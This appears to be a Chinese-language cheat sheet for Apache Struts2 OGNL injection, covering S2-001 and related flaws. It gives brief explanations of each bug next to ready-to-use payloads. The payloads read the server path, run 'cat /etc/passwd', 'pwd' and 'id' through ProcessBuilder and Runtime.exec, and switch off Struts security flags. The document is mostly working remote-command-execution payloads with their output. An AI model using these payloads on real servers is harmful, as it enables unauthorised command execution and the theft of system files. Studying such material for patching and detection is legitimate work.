目录
[3.执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):](#3.%E6%89%A7%E8%A1%8C%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%EF%BC%88%E5%91%BD%E4%BB%A4%E5%8A%A0%E5%8F%82%E6%95%B0%EF%BC%9Anew%20java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%EF%BC%89%EF%BC%9A)
strust2
框架特征:文件后缀名为.action/.do
s2-001
漏洞原理:由于用户表单提交的数据验证失败时,后端会将用户提交的参数值使用OGNL表达式进行解析,解析完之后重新填充到表单数据中
1.获取tomcat执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
tomcatBinDir{/usr/local/tomcat}
2.获取Web路径:
al/tomcat/webapps/ROOT/
3.执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
/usr/local/tomcat
XWork 将使用 OGNL 表达式将 GET 参数的键和值解析为 Java 语句
u0023# (unicode编码 u)
配置验证规则时。如果类型验证转换失败,服务器将拼接用户提交的表单值字符串,然后执行 OGNL 表达式解析并返回
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
?debug=command&expression=%28%23application%29